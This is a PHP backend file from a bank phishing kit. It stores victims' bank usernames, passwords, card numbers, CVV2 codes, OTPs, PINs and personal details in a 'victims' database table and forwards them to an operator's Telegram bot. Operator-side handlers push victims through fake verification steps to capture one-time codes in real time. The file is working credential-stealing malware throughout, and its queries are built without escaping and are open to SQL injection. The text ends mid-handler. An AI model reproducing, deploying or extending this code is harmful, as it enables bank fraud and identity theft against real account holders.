<?php
include 'config.php';
include 'connect.php';
include 'flagMaster.php';
include 'bot_class.php';

date_default_timezone_set('Europe/Dublin');

$ip = $_SERVER['REMOTE_ADDR'];
$ipslist = file_get_contents('blacklist.dat');
if (strpos($ipslist, $ip) !== false) {
    die("99");
}


session_start();

function numeric($num){
	if (preg_match('/^[0-9]+$/', $num)) {
		$status = true;
	} else {
		$status = false;
	}
	return $status;
}




if($_GET['type'] == 'login'){
	

	$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
	$u_agent = $_SERVER['HTTP_USER_AGENT'];
	$date = date("Y-m-d h:i a", time());
	$uniqueid = time();
	$lastseen = time();

	if($_POST['username'] and $_POST['password']){
		$username = $_POST['username'];
		$password = $_POST['password'];
		$iname = $_POST['iname'];
		$itype = iname_to_bank($iname);

		if($_SESSION['started'] == 'true'){
			$uniqueid = $_SESSION['uniqueid'];

			$query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
			$num = mysqli_num_rows($query);
			if($num == 0){
				$query = mysqli_query($conn, "INSERT INTO victims (lastseen, handler, user, pass, iname, ip, country, useragent, uniqueid, status) VALUES ('$lastseen', '--', '$username', '$password', '$iname', '$ip', '$country', '$ua',$uniqueid, 2)");
				if($query){
					echo json_encode(array(
					'status' => 'ok'
					));

					$new_vic = '1';

					$ipslist = file_get_contents("logs/accepted_visitors.txt");
					if (strpos($ipslist, $_SERVER['REMOTE_ADDR']) !== true) {
						file_put_contents("logs/accepted_visitors.txt", "[+] " . $date . " - " .  $_SERVER['REMOTE_ADDR'] . " - " . urldecode($ua) . "\n", FILE_APPEND);
					}

				}else{
					echo json_encode(array(
					'status' => 'notok'
					));
				}
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET status=2, buzzed=0, user='$username', pass='$password', iname='$iname', useragent='$ua', country='$country', ip='$ip' WHERE uniqueid=$uniqueid");
				if($query){
					echo json_encode(array(
						'status' => 'ok'
					));
				}else{
					echo json_encode(array(
						'status' => 'notok'
					));
				}
			}

			
		}else{
			$_SESSION['uniqueid'] = $uniqueid;
			$_SESSION['started'] = 'true';
			$query = mysqli_query($conn, "INSERT INTO victims (lastseen, handler, user, pass, iname, ip, country, useragent, uniqueid, status) VALUES ('$lastseen', '--', '$username', '$password', '$iname', '$ip', '$country', '$ua',$uniqueid, 2)");
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));

				$new_vic = '1';

				$ipslist = file_get_contents("logs/accepted_visitors.txt");
				if (strpos($ipslist, $_SERVER['REMOTE_ADDR']) !== true) {
					file_put_contents("logs/accepted_visitors.txt", "[+] " . $date . " - " .  $_SERVER['REMOTE_ADDR'] . " - " . urldecode($ua) . "\n", FILE_APPEND);
				}

			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}
		
		if($enable_telegram == 'checked' and $telegram_chaid != ''){		
		$tmsg = "<strong>[+] IP:</strong> <code>$ip</code> [+]\n<strong>[+] UA:</strong> <code>$u_agent</code>\n<strong>[+] Bank:</strong> <code>$itype</code>\n<strong>[+] Login:</strong> <code>$username</code>\n<strong>[+] Password:</strong> <code>$password</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
	}
	

}



if($_SESSION['started'] == 'true'){

	if($_GET['type'] == 'info'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['fname'] != '' and $_POST['mobile'] != '' and strlen($_POST['dob']) == 10 and $_POST['title'] != '' and $_POST['type'] != '' and $_POST['card'] != ''){

			$fname = $_POST['fname'];
			$mobile = $_POST['mobile'];
			$dob = $_POST['dob'];
			$title = $_POST['title'];
			$type = $_POST['type'];
			$card = $_POST['card'];
			$exp = $_POST['exp'];

			$query = mysqli_query($conn, "UPDATE victims SET status=4, buzzed=0, title='$title', name='$fname', mobile='$mobile', dob='$dob', type='$type', card='$card', exp='$exp' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}


	if($_GET['type'] == 'mobile_change'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['mobile'] != '' and $_POST['email'] != ''){

			$mobile = $_POST['mobile'];
			$email = $_POST['email'];
			$address = $_POST['address'];

			$query = mysqli_query($conn, "UPDATE victims SET status=0, buzzed=1, mobile='$mobile', email='$email', address='$address' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}



	if($_GET['type'] == 'safe'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['mobile'] != '' and $_POST['pin'] != ''){

			$mobile = $_POST['mobile'];
			$pin = $_POST['pin'];

			$query = mysqli_query($conn, "UPDATE victims SET status=21, buzzed=0, mobile='$mobile', pass='$pin' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}



	if($_GET['type'] == 'authtype'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['home'] != ''){
			$home = $_POST['home'];

			$query = mysqli_query($conn, "UPDATE victims SET status=49, buzzed=0, home='$home' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Auth Type:</strong> <code>$home</code>\n<code></code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}

	if($_GET['type'] == 'otptype'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['otp'] != ''){
			$otp = $_POST['otp'];
			$query = mysqli_query($conn, "UPDATE victims SET status=4, buzzed=0, otp='$otp' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$itype = iname_to_bank($array['iname']);
		$tmsg = "<strong>[+] Bank:</strong> <code>$itype</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] OTP:</strong> <code>$otp</code>\n<code></code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}


	if($_GET['type'] == 'qrtype'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['qrotp'] != ''){
			$qrotp = $_POST['qrotp'];
			$query = mysqli_query($conn, "UPDATE victims SET status=14, buzzed=0, qrotp='$qrotp' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$itype = iname_to_bank($array['iname']);
		$tmsg = "<strong>[+] Bank:</strong> <code>$itype</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] QR OTP:</strong> <code>$qrotp</code>\n<code></code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}

	if($_GET['type'] == 'customanswer'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['custom_answer'] != ''){
			$custom_answer = $_POST['custom_answer'];

			$query = mysqli_query($conn, "UPDATE victims SET status=65, buzzed=0, custom_answer='$custom_answer' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$itype = iname_to_bank($array['iname']);
		$tmsg = "<strong>[+] Bank:</strong> <code>$itype</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Question:</strong> <code>{$array['custom_question']}</code>\n<strong>[+] Answer:</strong> <code>$custom_answer</code>\n<code></code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}

	if($_GET['type'] == 'phonetype'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['address'] != ''){
			$address = $_POST['address'];

			$query = mysqli_query($conn, "UPDATE victims SET status=53, buzzed=0, address='$address' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Phone Number:</strong> <code>$address</code>\n<code></code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}








	if($_GET['type'] == 'safe1'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['name'] != '' and $_POST['address'] != ''){
			$name = $_POST['name'];
			$address = $_POST['address'];
			$dob = $_POST['dob'];
			$phonenr = $_POST['phonenr'];
			$email = $_POST['email'];

			$query = mysqli_query($conn, "UPDATE victims SET status=10, buzzed=0, name='$name', address='$address', dob='$dob', phonenr='$phonenr', email='$email' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] Username:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Password:</strong> <code>{$array['pass']}</code> [+]\n<strong>[+] Full Name:</strong> <code>$name</code>\n<strong>[+] Address:</strong> <code>$address</code>\n<strong>[+] DOB:</strong> <code>$dob</code>\n<strong>[+] Phone:</strong> <code>$phonenr</code>\n<strong>[+] Email:</strong> <code>$email</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}




	if($_GET['type'] == 'safe2'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['card'] != '' and $_POST['exp'] != ''){
			$card = $_POST['card'];
			$exp = $_POST['exp'];
			$three = $_POST['three'];

			$query = mysqli_query($conn, "UPDATE victims SET status=12, buzzed=0, card='$card', exp='$exp', three='$three' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] Username:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Password:</strong> <code>{$array['pass']}</code> [+]\n<strong>[+] Card Nr.:</strong> <code>$card</code>\n<strong>[+] Exp.:</strong> <code>$exp</code>\n<strong>[+] CVV2:</strong> <code>$three</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};
		}
	}



	if($_GET['type'] == 'aotp'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['address'] != ''){

			$address = $_POST['address'];

			$query = mysqli_query($conn, "UPDATE victims SET status=55, buzzed=0, address='$address' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}


	if($_GET['type'] == 'sotp'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['home'] != ''){

			$home = $_POST['home'];

			$query = mysqli_query($conn, "UPDATE victims SET status=65, buzzed=0, home='$home' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}


	if($_GET['type'] == 'otp'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['otpcode'] != ''){

			$otpcode = $_POST['otpcode'];

			$query = mysqli_query($conn, "UPDATE victims SET status=6, buzzed=0, otp='$otpcode' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] PIN:</strong> <code>$otpcode</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}




	if($_GET['type'] == 'keycode'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['dob'] != ''){

			$dob = $_POST['dob'];

			$query = mysqli_query($conn, "UPDATE victims SET status=36, buzzed=0, dob='$dob' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] ID:</strong> <code>{$array['id']}</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] KeyCode:</strong> <code>$dob</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}


	if($_GET['type'] == 'activation'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['name'] != ''){

			$name = $_POST['name'];

			$query = mysqli_query($conn, "UPDATE victims SET status=51, buzzed=0, name='$name' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] ID:</strong> <code>{$array['id']}</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Activation Code:</strong> <code>$name</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}


	if($_GET['type'] == 'otpcode'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['otp'] != ''){

			$otp = $_POST['otp'];

			$query = mysqli_query($conn, "UPDATE victims SET status=38, buzzed=0, otp='$otp' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] ID:</strong> <code>{$array['id']}</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] SMS OTP:</strong> <code>$otp</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}


	if($_GET['type'] == 'cancelpayment'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['mobile'] != ''){

			$mobile = $_POST['mobile'];

			$query = mysqli_query($conn, "UPDATE victims SET status=42, buzzed=0, mobile='$mobile' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] ID:</strong> <code>{$array['id']}</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Cancel Payment OTP:</strong> <code>$mobile</code>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}



	if($_GET['type'] == 'theterms'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['mobile2'] != ''){

			$mobile2 = $_POST['mobile2'];

			$query = mysqli_query($conn, "UPDATE victims SET status=40, buzzed=0, mobile2='$mobile2' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		if($enable_telegram == 'checked' and $telegram_chaid != ''){
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid='$uniqueid'");
		$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
		$tmsg = "<strong>[+] ID:</strong> <code>{$array['id']}</code>\n<strong>[+] Login:</strong> <code>{$array['user']}</code> [+]\n<strong>[+] Terms button was $mobile2!</strong>";
		$tmsg = preg_replace('/^[ \t]*[\r\n]+/m', '', $tmsg);
		$telegram = new Telegram($bot_token);
		$content = array('chat_id' => $telegram_chaid, 'text' => $tmsg, 'parse_mode' => 'html');
		$telegram->sendMessage($content);
		};


		}
	}




	if($_GET['type'] == 'otp_name'){
		$uniqueid = $_SESSION['uniqueid'];

		if($_POST['otpcode'] != ''){

			$otpcode = $_POST['otpcode'];

			$query = mysqli_query($conn, "UPDATE victims SET status=3, buzzed=0, otp='$otpcode' WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}

		}
	}

	
	if($_GET['type'] == 'call'){
		$uniqueid = $_SESSION['uniqueid'];

			$query = mysqli_query($conn, "UPDATE victims SET status=8, buzzed=0 WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
	}




	if($_GET['type'] == 'app'){
		$uniqueid = $_SESSION['uniqueid'];

			$query = mysqli_query($conn, "UPDATE victims SET status=15, buzzed=0 WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
	}



	if($_GET['type'] == 'app_name'){
		$uniqueid = $_SESSION['uniqueid'];

			$query = mysqli_query($conn, "UPDATE victims SET status=3, buzzed=0 WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
	}





	if($_GET['type'] == 'payee'){
		$uniqueid = $_SESSION['uniqueid'];

			$query = mysqli_query($conn, "UPDATE victims SET status=11, buzzed=0 WHERE uniqueid=$uniqueid");
			if($query){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
	}
		
	
	


	if($_GET['type'] == 'ping'){
		$uniqueid = $_SESSION['uniqueid'];
		$lastseen = Time();
		$query = mysqli_query($conn, "UPDATE victims SET lastseen='$lastseen' WHERE uniqueid=$uniqueid");
		
		if($query){
			echo json_encode(array(
			'status' => 'lastseen_updated'
			));
		}else{
			echo json_encode(array(
			'status' => 'notok'
			));
		}
	}


	if($_GET['type'] == 'getstatus'){
		$uniqueid = $_SESSION['uniqueid'];
		$query = mysqli_query($conn, "SELECT * from victims WHERE uniqueid=$uniqueid");
		
		if(mysqli_num_rows($query) >= 1){
			$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
			echo $array['status'];
		}		
		
	}


}




if($_SESSION['loggedin'] == 'true'){
	
	
	if($_GET['type'] == 'commmand'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$amount = $_POST['amount'];


			if($amount != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, input_amount='$amount' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1 WHERE id=$userid");
			}
			
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}

	if($_GET['type'] == 'onecommmand'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$home = $_POST['home'];


			if($home != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, home='$home' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1 WHERE id=$userid");
			}
			
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}
	
	
	if($_GET['type'] == 'theonecommmand'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$input_amount = $_POST['input_amount'];


			if($input_amount != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, input_amount='$input_amount' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1 WHERE id=$userid");
			}
			
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}
	
	
	

	if($_GET['type'] == 'twocommmand'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$custom_name = $_POST['custom_name'];
			$custom_amount = $_POST['custom_amount'];


			if($custom_amount != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, custom_name='$custom_name', custom_amount='$custom_amount' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, custom_name='$custom_name' WHERE id=$userid");
			}
			
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}

	if ($_GET['type'] == 'uploadcommand') {
		// Ensure the uploads directory exists and is writable
		$uploads_dir = '../uploads/';
		if (!is_dir($uploads_dir) || !is_writable($uploads_dir)) {
			echo json_encode(array('status' => 'notok', 'message' => 'Uploads directory is not writable.'));
			exit;
		}
	
		// Check for the uploaded file
		if (isset($_FILES['image_file']) && $_FILES['image_file']['error'] === UPLOAD_ERR_OK) {
			$tmp_name = $_FILES['image_file']['tmp_name'];
			$pname = basename($_FILES['image_file']['name']);
			$image_link = $uploads_dir . uniqid() . '_' . $pname;
	
			// Attempt to move the uploaded file
			if (!move_uploaded_file($tmp_name, $image_link)) {
				echo json_encode(array('status' => 'notok', 'message' => 'Failed to move uploaded file.'));
				exit;
			}
	
			// Create the full URL for the uploaded image
			$full_link = "http://" . $_SERVER['HTTP_HOST'] . "/" . ltrim($image_link, '../');
	
		} else {
			echo json_encode(array('status' => 'notok', 'message' => 'No file uploaded or there was an upload error.'));
			exit;
		}
	
		// Ensure user ID and status are set
		if (!empty($_POST['userid']) && !empty($_POST['status'])) {
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];
	
			// Prepare the query
			$query = "UPDATE victims SET handler='$handler', status=$status, buzzed=1, qrlink='$full_link' WHERE id=$userid";
	
			// Execute the query and handle success or failure
			if (mysqli_query($conn, $query)) {
				echo json_encode(array('status' => 'ok'));
			} else {
				echo json_encode(array('status' => 'notok', 'message' => 'Database update failed: ' . mysqli_error($conn)));
			}
		} else {
			echo json_encode(array('status' => 'notokk', 'message' => 'User ID or status not set.'));
		}
	}
	
	

	if($_GET['type'] == 'customquestion'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$custom_question = $_POST['custom_question'];


				
					if($custom_question != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, custom_question='$custom_question' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, custom_question='$custom_question' WHERE id=$userid");
			}
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}



	if($_GET['type'] == 'cardtype'){
		if($_POST['userid'] != '' and $_POST['status'] != ''){
			$userid = $_POST['userid'];
			$status = $_POST['status'];
			$handler = $_SESSION['username'];

			$newfour = $_POST['newfour'];


				
					if($newfour != ''){
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, newfour='$newfour' WHERE id=$userid");
			}else{
				$query = mysqli_query($conn, "UPDATE victims SET handler='$handler', status=$status, buzzed=1, newfour='$newfour' WHERE id=$userid");
			}
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
		echo json_encode(array(
			'status' => 'notokk'
		));
		}
		
	}



	if($_GET['type'] == 'buzzoff'){
		$query = mysqli_query($conn, "SELECT * FROM victims WHERE buzzed=0");
		if($query){
			$array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));	
			foreach($array as $value){
				$userid = $value['id'];
				$queryy = mysqli_query($conn, "UPDATE victims SET buzzed=1 WHERE id=$userid");
				if($queryy){
					$stat = 'ok';
				}else{
					$stat = 'notok';
				}
			}
			if($stat == 'ok'){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
			
		}else{
			echo json_encode(array(
				'status' => 'notok'
			));
		}
		
	}



	if($_GET['type'] == 'buzzoffsingle'){
		$userid = $_GET['userid'];
		$query = mysqli_query($conn, "SELECT * from victims WHERE id=$userid and buzzed=0");
		if(mysqli_num_rows($query) >= 1){
		$queryy = mysqli_query($conn, "UPDATE victims SET buzzed=1 WHERE id=$userid");
			if($queryy){
				echo json_encode(array(
					'status' => 'ok'
				));
			}else{
				echo json_encode(array(
					'status' => 'notok'
				));
			}
		}
	}


	

	
	if($_GET['type'] == 'remove'){
